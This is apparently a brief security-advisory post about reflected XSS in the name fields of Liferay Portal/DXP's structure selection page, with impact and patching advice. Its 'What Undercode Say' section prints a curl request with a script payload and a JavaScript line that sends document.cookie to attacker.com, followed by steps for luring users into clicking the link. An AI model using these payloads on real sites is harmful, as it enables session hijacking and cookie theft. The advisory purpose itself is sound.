Listen to this Post
The CVE describes multiple reflected Cross-Site Scripting vulnerabilities within the web content template’s select structure page in Liferay Portal and DXP. The flaw exists due to improper neutralization of user-controlled input before it is embedded in the final web page. Specifically, the application fails to adequately sanitize the (1) First Name, (2) Middle Name, and (3) Last Name text fields of a user. When these fields are populated with a malicious payload and the user navigates to the affected structure selection page, the payload is reflected back in the page’s response without proper encoding. This allows an attacker to craft a URL containing malicious JavaScript. If a victim is tricked into clicking this link, the script executes within their browser session, potentially allowing the attacker to steal session cookies, deface the site, or perform actions on behalf of the user.
Platform: Liferay Portal/DXP
Version: 7.4.3.35-111
Vulnerability: Reflected XSS
Severity: Moderate
date: 2025-10-31
Prediction: Patch Available
What Undercode Say:
curl -s "http://vulnerable-liferay/web/guest/select-structure?firstName=<script>alert('XSS')</script>"
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
How Exploit:
Craft malicious URL with script payload in user name parameters. Send the link to authenticated users. Upon visitation, the embedded script executes in their browser context, hijacking their session.
Protection from this CVE:
Apply official patch. Implement strict input sanitization for all user-controlled fields. Deploy a Content Security Policy (CSP). Encode all user data before output.
Impact:
Session hijacking. Unauthorized actions. Data theft.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

